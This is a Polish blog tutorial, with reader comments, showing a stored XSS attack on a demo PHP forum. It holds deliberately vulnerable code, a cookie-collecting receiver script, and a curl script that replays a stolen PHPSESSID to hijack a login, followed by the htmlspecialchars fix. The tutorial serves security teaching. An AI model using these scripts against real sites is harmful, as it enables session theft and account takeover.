post_ico4

(Nie)bezpieczny kod – XSS

W poprzednim wpisie opisałem technikę ataku SQL injection. W kolejnym artykule cyklu pokażę na czym polega równie popularny atak XSS i jak się przed nim uchronić.

Trochę teorii

Cross-site scripting (XSS) polega na osadzeniu w treści atakowanej strony kodu (zazwyczaj JavaScript), który wyświetlony przez innego użytkownika może doprowadzić do wykonania przez niego niepożądanych akcji. Jedną z takich akcji może być przesłanie pliku cookie atakującemu.

Cookie – jest to mały fragment tekstu przesyłany przez stronę www do użytkownika. W pliku cookie mogą być przetrzymywane np. ustawienia lub identyfikator sesji. Pliki cookie mogą być pobierane tylko w obrębie domeny, czyli strona www.przyklad123.pl nie może pobrać cookies zapisanych przez www.przyklad321.pl

Warto pamiętać również o tym jak działa mechanizm sesji w PHP. Informacje zapamiętywane są w zmiennych sesyjnych zapisywanych na serwerze strony, ale identyfikator sesji jest już wysyłany jako plik cookie. Jeżeli się go wykradnie można przechwycić sesję użytkownika.

Przykładowy atak XSS

Do analizy ataku XSS wykorzystamy formularz dodawania postu na forum oraz „prymitywny” system logowania.

Na początek przygotuj strukturę bazy danych:

CREATE TABLE post  (
  id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
  content TEXT NOT NULL
)
ENGINE=InnoDB;

Tworzę tabelę post, do której będą dodawane posty poprzez formularz. Tak wygląda struktura bazy danych:

Zrzut bazy danych

Stworzę jeszcze prowizoryczny panel logowania. Jest to plik logowanie.php:

<?php
session_start();
if (!isset($_SESSION['logged'])) {
    $_SESSION['logged'] = false;
}
if (isset($_GET['action'])) {
    if ($_GET['action'] == 'logout') {
        $_SESSION['logged'] = false;
        session_destroy();
    }
}
if ($_SESSION['logged'] === false && isset($_POST['login']) && isset($_POST['password']) ) {
    if ($_POST['login'] == 'demo' && $_POST['password'] == 'demo'
    ) {
        $_SESSION['logged'] = true;
    } else {
        echo '<p>Złe hasło!!!</p>';
        $_SESSION['logged'] = false;
    }
}
?>
    <!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
    <meta charset="utf-8">
<title>XSS - logowanie</title>
</head>
<body>
<?php if ($_SESSION['logged']): ?>
   Jesteś zalogowany! <a href="?action=logout">Wyloguj mnie!</a>
<?php else: ?>
    <form method="post" action="">
        Login: <input type="text" name="login"/><br/>
        Hasło: <input type="password" name="password"/><br/><br/>
        <input type="submit" value="Zaloguj"/>
    </form>
<?php endif; ?>
</body>
</html>

Do uwierzytelniania nie używam nawet bazy danych. Dane logowania są po prostu zapisane „na sztywno” w kodzie. Po udanym zalogowaniu wyświetli się komunikat „Jesteś zalogowany!”.

Mając strukturę bazy danych i panel logowania przejdźmy do formularza dodawania postu. Jest to plik post.php:

<?php
<?php
$dbh = new PDO('mysql:host=****;dbname=****', '****', '****');
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 
if(isset($_POST)) {
    $content = $_POST['content'];
    $newPost = $dbh->prepare("INSERT INTO post SET content=:content");
    $newPost->bindValue("content", $content, PDO::PARAM_STR );
    $newPost->execute();
}
?>
<html>
<head>
    <title>XSS</title>
</head>
<body>
<form action="" method="post">
    Tekst: <br/><textarea name="content"></textarea><br/>
    <input type="submit" value="Dodaj"/>
</form>
<h4>Dodane posty</h4>
<ul>
    <?php
    $posts=$dbh->prepare("SELECT * from post ORDER by id DESC");
    $posts->execute();
    foreach($posts->fetchAll() as $post) {
        echo '<li>'.$post['content'].'</li>';
    }
?>
</ul>
</body>
</html>

W powyższym pliku są wykonywane dwie akcje: dodawanie postu do bazy danych i wyświetlanie wszystkich postów z bazy danych. Zauważ, że zapis do bazy danych jest zabezpieczony przed SQL injection. Zobaczmy co się stanie, gdy w polu tekstowym wpiszę kod JavaScript wyświetlający alert.

Wstrzykiwanie kodu JavaScript z alertem

Po kliknięciu przycisku „Dodaj” i odświeżeniu strony wyświetli się alert.

Alert po wstrzyknięciu kodu JavaScript

Jak widzisz został wykonany kod JavaScript. W tym konkretnym przypadku wyświetla się tylko alert (jest nieszkodliwy), ale mając „otwartą furtkę” mogę dodać bardziej wyrafinowany kod…

Kradzież cookie przez XSS

W powyższym przykładzie jest już bardziej zaawansowany kod. Wstrzykuję do strony obrazek, który przesyła metodą GET plik cookie danej domeny. Wykorzystuję tutaj fakt, że obrazki są wczytywane automatycznie.

Złośliwy kod jest już wstrzyknięty na stronie. Pora teraz na odebranie danych :) U mnie jest to plik obrazek.php:

<?php
if (isset($_GET['cookie'])) {
   file_put_contents('cookies_data.txt', date('Y-m-d H:i').' - '.$_GET['cookie']."\n", FILE_APPEND | LOCK_EX);
};
header("Content-type: image/gif");

Jest to bardzo prosty skrypt. Po prostu zapisuję sobie dane z tablicy $_GET wraz z datą do pliku cookies_data.txt. Można zapisywać dane również na inne sposoby – np wysyłać informacje na maila. Na koniec ustawiam nagłówek obrazka. Można dodatkowo wyświetlić jakiś obrazek, by bardziej ukryć nasze zamiary.

Z naszej strony jest już wszystko gotowe. Czekamy teraz aż się użytkownik zaloguje i przejdzie na stronę post.php.

Panel logowania

Po zalogowaniu się na dane demo demo i przejściu na stronę post.php skrypt obrazek.php zapisze mi takie dane:

2014-11-18 13:27 - PHPSESSID=2f59021b60788fda60f5ee3f5fd374a8

W pliku cookie użytkownika jest bardzo ciekawa rzecz – jego id sesji (PHPSESSID). Teraz już nic nie stoi na przeszkodzie, by się pod niego podszyć i przejąć kontrolę nad jego kontem.

Do tego celu stworzę skrypt z użyciem biblioteki Curl, który połączy się z panelem logowania i wyśle jako plik cookie zdobyty identyfikator sesji. Plik curl.php:

<?php
$adr = 'http://lukasz-socha.pl/przyklady/xss/logowanie.php';
$connect = curl_init();
curl_setopt($connect, CURLOPT_URL, $adr);
curl_setopt($connect, CURLOPT_COOKIE, "PHPSESSID=2f59021b60788fda60f5ee3f5fd374a8");
$result = curl_exec($connect);
curl_close($connect);
echo $result;

Po wejściu na stronę z innej przeglądarki wyświetli mi się panel po zalogowaniu, bez podawania danych:

Udany atak XSS

Pokazana metoda ataku wymaga nieco więcej pracy niż przy SQL injection, ale mimo tego jest stosunkowo łatwa do realizacji i równie niebezpieczna…

Jak się zabezpieczyć przed XSS?

Sposób zabespieczenia przed XSS jest dość łatwy – przed wyświetleniem danych z bazy wystarczy pozamieniać znaki specjalne (np. < >) na encje HTML – można użyć do tegu funkcji htmlspecialchars(). W moim przykładzie poprawny kod wygląda następująco:

<?php
    $posts=$dbh->prepare("SELECT * from post ORDER by id DESC");
    $posts->execute();
    foreach($posts->fetchAll() as $post) {
        echo '<li>'.htmlspecialchars($post['content']).'</li>';
    }
?>

Uwaga: informacje przedstawione w artykule służą tylko celom edukacyjnym. ZABRONIONE jest wykorzystywanie informacji przedstawionych w artykule do celów niezgodnych z prawem. Autor nie ponosi odpowiedzialności za ewentualne szkody.

Co sądzisz o wpisie?
BeżnadziejnySłabyŚredniDobryBardzo dobry (Brak ocen, bądź pierwszy!)
Loading...
  • pkwiecienpl

    Witam, gratuluję bloga – staram się czytać regularnie.
    Co do tego artykułu – metoda ochrony jest skuteczna w sytuacji, gdy jasno i zdecydowanie zabraniamy użytkownikowi wstawiania tagów HTML. A co w przypadku, gdy pozwalamy w poście na formatowanie? Budować/stosować odpowiedniki [bbcode], użyć strip_tags() z filtrowaniem niektórych tagów, czy zastosować jeszcze inną technikę? Myślę, że takie uzupełnienie byłoby tu przydatne. Pozdrawiam!

    • Myślę, że zależy to od sytuacji. Jeżeli chcesz dać możliwość prostego formatowania typu pogrubienie, kursywa, podkreślenie itp można odblokować znaczniki w strip_tags(), ale równie dobrze można wykorzystać i bbcode. To już zależy od konkretnego projektu i programisty.

      Ważne jest, by w żadnym wypadku nie dawać możliwości umieszczania kodu JS, PHP.

  • sowiq

    Zamiast (bardzo ograniczonej) funkcji strip_tags(), która działa na zasadzie „blacklist” (usuwa określony ciąg znaków), polecam rozwiązania działające na zasadzie przeciwnej – „whitelist”. Działają one w w odwrotny sposób, tzn. zostawiają dozwolone ciągi, a resztę usuwają. Jest to dużo bardziej bezpieczne rozwiązanie.

    Bardzo dobrym przykładem jest tutaj HTML Purifier – http://htmlpurifier.org/

  • nospor

    Podane przez Ciebie zabezpieczenie przed tym atakiem jest złe. Podstawowym i niezbędnym zabezpieczeniem przed tym atakiem jest uzywanie htmlspecialchars() przed wyświetlaniem danych wprowadzonych przez użytkownika. Wowczas strona jest bezpieczna niezależnie czy uzywasz wcześniej strip_tags czy nie.

    A czemu Twoje zabezpieczenie jest złe? Są na to między innymi dwa powody:
    1) strip_tags nie uchowa nas przed wszystkimi przypadkami. Zły kod js można wprowadzić na stronę nie koniecznie opakowany w i wtedy strip_tags szlag trafia.
    2) Złośliwy kod w bazie może pojawić się nie tylko poprzez podanie go przez Twoj formularz.

    • Po komentarzach XnX i twoim postanowiłem zmodyfikować fragment o zabezpieczaniu się przed XSS. Powinno być teraz poprawnie.

      Dzięki za wskazanie błędu.

      • nospor

        NAdal masz źle….
        ” przed wyświetleniem danych z bazy wystarczy wyciąć znaczniki HTML lub pozamieniać znaki specjalne ”
        To zdanie sugeruje, ze wystarczy zrobić jedno z dwóch, co jest nieprawdą. Pisałem ci już, że kod js może zostać użyty bez znaczników i w wówczas strip_tags jest o kant 4 liter.

        ps: naprawde za kazdym razem jako gośc musze na nowo wypełniać wszystkie pola?

  • XnX

    „Zauważ, że zapis do bazy danych jest zabezpieczony przed SQL injection.”
    W którym miejscu? Chyba nie uważasz, że zabezpiecza go przed tym PDO i bindowanie?

    „Sposób zabespieczenia przed XSS jest oczywisty – przed zapisem do bazy danych trzeba po prostu wyciąć wszelkie znaczniki HTML z tekstu wpisanego przez użytkownika.”

    Heh dobry żart początkującego. Za każdym razem gdy łączysz się z bazą i wrzucasz do niej jakieś dane używasz strip_tags? A później jak ktoś kto chce się czegoś nauczyć powiela te same złe schematy… Poczytaj o htmlspecialchars.

    • Tieman

      Zaciekawił mnie fragment w którym XnX pisze:
      „W którym miejscu? Chyba nie uważasz, że zabezpiecza go przed tym PDO i bindowanie?”
      Czy mi się wydaje czy wyczuwam tu sarkazm i samo bindowanie to nie jest rozwiązanie problemu? Możecie rozwinąć tą myśl?

  • nospor

    No i jeszcze jedna sprawa:

    „Ważne jest, by w żadnym wypadku nie dawać możliwości umieszczania kodu JS, PHP.”
    Atak XSS nie polega tylko na wprowadzeniu js czy php. To może być nawet IMG, którego SRC będzie wskazywało na akcję php, do której mają tylko dostęp uprawnione osoby. W ten sposób można przy pomyślnych wiatrach można skasować nawet komuś całą bazę :)

    • Tak wiem, o tym będzie kolejny wpis cyklu… :)

      • nospor

        No to skoro wiesz o tym to czemu świadomie wprowadzasz użytkownika w błąd? Pisząc, że ma sie tylko zabezpieczyc przed js i php pozwalasz na luke w jego systemie. Pamietaj, że użytkownik nie musi już zajrzeć do Twojego kolejnego arta

        • W którym miejscu wprowadzam użytkownika błąd? Zabezpieczenie przed XSS (htmlspecialchars) wyeliminuje ryzyko wykorzystania takiej luki. W kolejnym wpisie po prostu zwrócę uwagę użytkownika na taką formę ataku.

          • nospor

            Chodzi mi o to zdanie, ktore zacytowalem w tym watku… zacytuje ci jeszcze raz:
            „Ważne jest, by w żadnym wypadku nie dawać możliwości umieszczania kodu JS, PHP.”
            Zdania tego uzyles w odpowiedzi na komentarz. Zwrocilem ci na to uwage mowiac, ze nie tylko js i php jest groźne. Napisales o tym, ze wiesz o tym. Piszac to, jeszcze nie uzywales htmlspecialchars i wyraźnie zaznaczyles, ze nalezy usunac js i php. Czyli wg. tej odpowiedzi mozna zostawic IMG w spokoju, co jest luką. Co zresztą sam potwierdzasz i mowisz, ze wspomnij o tym w nastepnym arcie.

          • Ok już rozumiem o co ci chodzi. Faktycznie trochę źle to
            sformułowałem. Poprawiłem ten komentarz, a konkretne szczegóły o tym ataku będą w osobnym wpisie.

          • nospor

            Byłoby miło jakbyś nie edytowal chociaż swoich odpowiedzi, tylko wpisywał poprostu kolejną.

            zadam poraz kolejny pytanie, moze tym razem doczekam się na odpowiedź:
            naprawde za kazdym razem jako gośc musze na nowo wypełniać wszystkie pola?

          • ale o co konkretnie chodzi? O system komentarzy?

          • nospor

            Tak, za kazdym razem, gdy chce napisac komentarz, musz od nowa podawac nick, email… Nie mozna tego w ciachu trzymac i wypelniac za piszącego automatycznie?

          • W sumie można. Pokombinuję w wolnej chwili.

  • XnX

    Zapomniałeś jeszcze o PDO::ATTR_EMULATE_PREPARES oraz niepotrzebnie używasz bindowania rekurencyjnego.